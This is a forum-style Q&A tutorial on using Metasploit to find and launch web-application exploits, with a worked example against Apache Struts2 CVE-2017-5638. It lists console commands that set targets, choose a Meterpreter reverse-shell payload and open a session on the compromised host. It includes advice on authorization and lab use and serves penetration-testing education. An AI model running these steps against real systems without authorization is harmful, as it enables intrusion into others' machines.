How to use Metasploit to exploit unpatched web applications

Question

I am learning penetration testing and want to understand how Metasploit can be used to exploit vulnerable web applications. My key questions are:

• How to identify suitable exploits in Metasploit’s database.
• How to configure and launch an exploit against a test environment.
• How to interpret successful exploitation and gain access.

A step-by-step example using Metasploit to exploit a known CVE would be helpful.

Answer 1

Metasploit is a powerful framework used in penetration testing to identify, exploit, and validate vulnerabilities in web applications. Here's how you can leverage Metasploit to exploit unpatched web applications:

1. Identifying Suitable Exploits in Metasploit’s Database

Metasploit maintains an extensive database of exploits. To find exploits relevant to a specific web application vulnerability:

• Search by CVE Identifier: If you have a specific CVE (Common Vulnerabilities and Exposures) ID, use:

msf > search cve:2021-12345

• Search by Application Name: To find exploits for a particular application:

msf > search name:application_name

• Search by Platform or Type: For web applications, you might search:

msf > search type:exploit platform:php

Review the search results to identify exploits that match the application's version and vulnerability.

2. Configuring and Launching an Exploit Against a Test Environment

Before launching an exploit, set up a controlled test environment to prevent unintended damage. Here's how to configure and execute an exploit:

• Select the Exploit: Choose the desired exploit from the search results:

msf > use exploit/path/to/exploit

• View Required Options: Check the parameters needed:

msf > show options

• Set Target Details: Specify the target's IP address or hostname:

msf > set RHOST target_ip

• Configure Payload: Determine the action after exploitation, such as opening a reverse shell:

msf > set payload payload_name

• Set Payload Options: For reverse shells, define your IP and listening port:

  msf > set LHOST your_ip
  msf > set LPORT your_port

• Launch the Exploit: Execute the exploit:

msf > exploit

3. Interpreting Successful Exploitation and Gaining Access

Upon successful exploitation, Metasploit provides feedback:

• Session Opening: A message like "Meterpreter session 1 opened" indicates access.

• Interacting with the Session: Engage with the compromised system:

msf > sessions -i 1

This command opens an interactive session where you can execute commands on the target.

4. Step-by-Step Example Using Metasploit to Exploit a Known CVE

Let's walk through exploiting a known vulnerability, such as CVE-2017-5638, an Apache Struts2 vulnerability:

• Search for the Exploit:

msf > search cve:2017-5638

• Select the Exploit:

msf > use exploit/multi/http/struts2_content_type_ognl

• View Required Options:

msf > show options

• Set Target Details:

  msf > set RHOST target_ip
  msf > set RPORT 8080  # Default port for Apache Tomcat

• Configure Payload:

msf > set payload java/meterpreter/reverse_tcp

• Set Payload Options:

  msf > set LHOST your_ip
  msf > set LPORT your_port

• Launch the Exploit:

msf > exploit

If successful, you'll see a message indicating a Meterpreter session has opened. You can then interact with the session to execute commands on the target system.

Important Considerations

• Legal Authorization: Always ensure you have explicit permission to test and exploit systems. Unauthorized access is illegal and unethical.

• Controlled Environment: Conduct tests in isolated environments to prevent unintended consequences.

• Stay Updated: Regularly update Metasploit to access the latest exploits and features.

By following these steps, you can effectively use Metasploit to identify and exploit vulnerabilities in web applications, enhancing your penetration testing skills.